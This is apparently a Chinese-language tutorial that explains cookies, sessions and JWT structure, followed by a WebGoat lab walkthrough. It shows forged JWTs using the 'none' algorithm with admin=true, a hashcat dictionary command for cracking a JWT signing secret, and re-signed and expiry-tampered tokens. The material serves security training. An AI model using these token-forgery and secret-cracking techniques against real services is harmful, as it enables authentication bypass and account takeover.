JWT
介紹
cookie(放在瀏覽器)
cookie 是一個非常具體的東西,指的就是瀏覽器里面能永久存儲的一種數據,僅僅是瀏覽器實現的一種數據存儲功能。
cookie由服務器生成,發送給瀏覽器,瀏覽器把cookie以kv形式保存到某個目錄下的文本文件內,下一次請求同一網站時會把該cookie發送給服務器。由于cookie是存在客戶端上的,所以瀏覽器加入了一些限制確保cookie不會被惡意使用,同時不會占據太多磁盤空間,所以每個域的cookie數量是有限的
session(放在服務器)
session 從字面上講,就是會話。這個就類似于你和一個人交談,你怎么知道當前和你交談的是張三而不是李四呢?對方肯定有某種特征(長相等)表明他就是張三。
session 也是類似的道理,服務器要知道當前發請求給自己的是誰。為了做這種區分,服務器就要給每個客戶端分配不同的“身份標識”,然后客戶端每次向服務器發請求的時候,都帶上這個“身份標識”,服務器就知道這個請求來自于誰了。至于客戶端怎么保存這個“身份標識”,可以有很多種方式,對于瀏覽器客戶端,大家都默認采用 cookie 的方式。
服務器使用session把用戶的信息臨時保存在了服務器上,用戶離開網站后session會被銷毀。這種用戶信息存儲方式相對cookie來說更安全,可是session有一個缺陷:如果web服務器做了負載均衡,那么下一個操作請求到了另一臺服務器的時候session會丟失。
token
在Web領域基于Token的身份驗證隨處可見。在大多數使用Web API的互聯網公司中,tokens 是多用戶下處理認證的最佳方式。
以下幾點特性會讓你在程序中使用基于Token的身份驗證
-
無狀態、可擴展
-
支持移動設備
-
跨程序調用
-
安全
jwt(json web token)
JWT(JSON Web Token)由三部分組成:頭部(Header)、載荷(Payload)、簽名(Signature)。
頭部(Header):頭部通常由兩部分組成,算法類型和令牌類型。
? 算法類型:指定用于生成簽名的算法,例如 HMAC、RSA 或者 ECDSA。
? 令牌類型:指定令牌的類型,常見的是 JWT。
頭部使用 Base64Url 編碼表示,并作為整個 JWT 的第一部分。頭部的一個示例:
{
“alg”: “HS256”,none
“typ”: “JWT”
}
載荷(Payload):載荷存儲了有關用戶或實體的聲明和其他有關信息。
? 聲明:如用戶 ID、角色、權限等信息。
? 注冊聲明:包含一些標準的聲明(比如發行人、過期時間等)和一些自定義的聲明。
載荷也使用 Base64Url 編碼表示,并作為整個 JWT 的第二部分。載荷的一個示例:
{
“sub”: “1234567890”,
“name”: “John Doe”,
“iat”: 1516239022
}
簽名(Signature):簽名是對頭部和載荷進行簽名的結果,用于驗證 JWT 的完整性和真實性。
? 簽名生成方式:將頭部和載荷進行 Base64Url 編碼后拼接在一起,然后使用指定的加密算法(如 HMAC、RSA)進行簽名,將生成的簽名添加到 JWT 中。
頭部
alg
是說明這個JWT的簽名使用的算法的參數,常見值用HS256(默認),HS512等,也可以為None。HS256表示HMAC SHA256。
typ
說明這個token的類型為JWT
payload
簽名
服務器有一個不會發送給客戶端的密碼(secret),用頭部中指定的算法對頭部和聲明的內容用此密碼進行加密,生成的字符串就是JWT的簽名
通信流程
環境
使用webgoat靶場
使用以下代碼拉取環境
java -jar webgoat-server-8.1.0.jar --server.port=8888 --server.address=10.4.7.138
訪問該網址進入靶場
http://10.4.7.138:8888/WebGoat/login
本文打的靶場為jwt tokens
4
此處點票點到8
用戶為jerry
點擊垃圾桶后顯示只有admin用戶才可以
此處開啟bp抓包,
找到剛才發送的post請求包
發給repeater
可以看到這一串jwt
使用jwt.io
將剛才jwt粘貼進去
可以看到右邊解碼的結果
此處需要將加密方式改為none,admin改為true
使用base64編碼完成
去掉等號將結果粘過去到一起
最終使用header和payload部分,包含點
ewogICJhbGciOiAibm9uZSIKfQ.ewogICJpYXQiOiAxNzAyODg5MDQ3LAogICJhZG1pbiI6ICJ0cnVlIiwKICAidXNlciI6ICJKZXJyeSIKfQ.
替換bp中原始部分
發包即可成功
回到網頁重新看一下,發現操作完成變成1
5
將它提供的jwt放進去看看
將jwt寫入一個文本文件
eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTcwMjAyNjAwNywiZXhwIjoxNzAyMDI2MDY3LCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19
另一個為字典文件
victory
secret1
business
washington
然后使用工具進行爆破
hashcat -m 16500 2.txt -a 3 -w 2 1.txt --force
其中
-m 16500 這里的16500對應的就是jwt的token爆破;
-a 3 代表蠻力破解
-w 3 可以理解為高速破解,就是會讓桌面進程無響應的那種高速
2.txt為jwt
1.txt為字典
爆破得到密鑰
修改截至時間和username
然后粘貼過去再將密鑰換成剛剛爆破出來的
最后得到
eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTcwMjAyNzkwNywiZXhwIjoxNzAyMDMzNTUwLCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IldlYkdvYXQiLCJFbWFpbCI6InRvbUB3ZWJnb2F0Lm9yZyIsIlJvbGUiOlsiTWFuYWdlciIsIlByb2plY3QgQWRtaW5pc3RyYXRvciJdfQ.3IMBgQVgvJzL1m7nE3XLXdfF--ja1ouXcjLNdKqvw5g
然后提交jwt即可
7
第七關要求以tom的身份付款
并且給了日志信息提示,可以看到jwt
粘貼過來可得
會發現這個到期時間已經過期了
這個時間格式是unix紀元時間
使用在線工具獲取現在的時間戳,然后base64
eyJhbGciOiJIUzUxMiJ9.ewogICJpYXQiOiAxNTI2MTMxNDExLAogICJleHAiOiAxNzAyMDI2MzYxLAogICJhZG1pbiI6ICJmYWxzZSIsCiAgInVzZXIiOiAiVG9tIgp9.
將該字段的值更改為新的jwt過后即可完成